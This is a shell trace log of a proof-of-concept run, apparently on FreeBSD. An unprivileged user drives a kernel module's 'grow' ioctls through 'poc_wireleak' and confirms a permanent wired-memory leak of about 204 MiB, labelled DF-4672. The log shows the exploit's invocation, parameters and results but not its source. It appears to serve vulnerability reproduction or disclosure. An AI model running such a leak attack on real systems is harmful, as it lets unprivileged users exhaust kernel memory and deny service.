+ cd /root/df467x
+ kldstat
+ grep -q bktrig2
== attach-mirror init (root, like boot-time attach on real hw):
+ echo '== attach-mirror init (root, like boot-time attach on real hw):'
+ /home/maxx/df467x/poc_wireleak --init
RIG_INIT: bigbuf=0xfffff80118aa0000 alloc_pages=32 (wire=155689)
== DF-4672 attack as maxx (step=128 pages, up to 80 grows):
+ echo '== DF-4672 attack as maxx (step=128 pages, up to 80 grows):'
+ su maxx -c 'cd ~/df467x && ./poc_wireleak 128 80'
uid=1001 euid=1001 (grow ioctls are unprivileged)
start: bigbuf=0xfffff80118aa0000 alloc_pages=32  wire=155684
idle wire noise over 3s: 25
grow # 1 -> alloc_pages= 128 bigbuf=0xfffff80118ac0000 wire_delta=   +0
grow # 2 -> alloc_pages= 256 bigbuf=0xfffff80118b40000 wire_delta=   +0
grow # 3 -> alloc_pages= 384 bigbuf=0xfffff80118c40000 wire_delta=   +0
grow # 4 -> alloc_pages=1022 bigbuf=0xfffff80118dc0000 wire_delta=   +0
grow # 8 -> alloc_pages=2044 bigbuf=0xfffff801191be000 wire_delta=   +0
grow #16 -> alloc_pages=3065 bigbuf=0xfffff801199ba000 wire_delta=   +0
grow #24 -> alloc_pages=4086 bigbuf=0xfffff8011a5b3000 wire_delta=   +0
grow #32 -> alloc_pages=5107 bigbuf=0xfffff80118aa0000 wire_delta=   +0
grow #40 -> alloc_pages=6128 bigbuf=0xfffff80119e93000 wire_delta=+1511
>>> WIRE CLIMB PHASE BEGINS (reserve drained; scan-path pages now wired permanently)
grow #48 -> alloc_pages=7149 bigbuf=0xfffff8011b683000 wire_delta=   +0
grow #56 -> alloc_pages=8170 bigbuf=0xfffff80118aa0000 wire_delta=   +0
grow #64 -> alloc_pages=9191 bigbuf=0xfffff8011aa8a000 wire_delta=+28234
grow #72 -> alloc_pages=10212 bigbuf=0xfffff8011ce71000 wire_delta=   +0
grow #80 -> alloc_pages=11233 bigbuf=0xfffff80118aa0000 wire_delta=+22392

== RESULT ==
successful grows        : 14 (all unprivileged)
pages allocated by grows: 68165 (266.3 MiB)
wire delta (permanent)  : 52137 pages (203.7 MiB)
wire climbed from grow  : 40 (post-reserve phase)
WIRED-MEMORY LEAK CONFIRMED (pages wired by the grow path are never returned)
== final wire + free memory
+ echo '== final wire + free memory'
+ sysctl vm.stats.vm.v_wire_count vm.stats.vm.v_free_count
vm.stats.vm.v_wire_count: 207846
vm.stats.vm.v_free_count: 784100